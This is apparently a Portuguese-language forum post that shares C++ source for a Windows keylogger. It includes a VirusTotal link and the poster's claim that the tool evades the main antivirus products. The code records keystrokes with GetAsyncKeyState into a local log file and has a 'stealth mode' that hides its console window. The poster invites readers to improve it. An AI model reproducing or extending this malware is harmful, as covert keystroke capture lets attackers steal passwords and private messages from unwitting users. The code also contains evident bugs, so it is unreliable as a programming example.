Bom galera eu estava navegando pela net e achei uma source code de um keylogger e queria compartilhar com vcs esse keylogger e um keylogger local ou seja ele so vai funcionar em seu pc mais se vc souber mexe bem em c++ da pra aprimora o keylogger ele ta indetectavei pelo principais anti-virus
scan:
Codigo:
imagems:
scan:
Código PHP:
https://www.virustotal.com/pt/file/3361a1d6694a1903ef9508d531bab083ba51c2c9aa6aec8fd760fe3231ef0807/analysis/1379040467/
Código PHP:
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <string>
#define MAXLINE 15
using namespace std;
int save(int key_stroke, char *file);
void stealth();
int main(void)
{
system("mode CON: COLS=80 LINES=25"); //setting terminal size
int k = 0;
char fname[MAXLINE];
char c, i, mode;
bool keepGoing = true;
int option;
while(keepGoing)
{
cout << "Shell Keylogger Tool [Version 0.4]" << endl;
cout << "Developed by boilerdev103." << endl;
cout << "\nMAIN MENU" << endl;
cout << "1- Run the program" << endl;
cout << "2- Exit" << endl;
cout << "$(logger): ";
cin >> option;
if(option == 1)
{
c = getchar();
cout << "\nRUN MENU" << endl;
cout << "Please create a log filename..." << endl;
cout << "Be sure to use the '.txt' extension for easy access to the logfile" << endl;
cout << "$(logger): ";
while((c = getchar()) != EOF && c != '\n' && k < MAXLINE - 1)
{
fname[k] = c;
++k;
}
fname[k] = '\0';
cout << "Run keylogger in stealth mode?(y/n): " << endl;
cout << "$(logger): ";
cin >> mode;
if(mode == 'y')
{
cout << "Entering Stealth mode... " << endl;
cout << "READ--> to end the program, you MUST KILL the process 'BasicKeyLog.exe' in Windows Task Manager!" << endl;
cout << "$(logger): ";
system("PAUSE");
stealth();
}
while(1)
{
for(i = 8; i < 190; i++)
{
if(GetAsyncKeyState(i) == -32767)
save(i, fname);
}
}
}
else if(option == 2)
{
cout << "\tGood bye!" << endl;
cout << "$(logger): ";
Sleep(1000);
keepGoing = false;
return 0;
}
}
return 0;
}
/* *************************************************************
******************************************************************/
int save(int key_stroke, char *file)
{
if((key_stroke == 1) || (key_stroke == 2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &key_stroke);
cout << key_stroke << endl;
if(key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if(key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if(key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if(key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if(key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if(key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if(key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESC]");
else if(key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if(key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if(key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if(key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if(key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if(key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if(key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if(key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
fclose(OUTPUT_FILE);
return 0;
}
/* *************************************************************
******************************************************************/
void stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}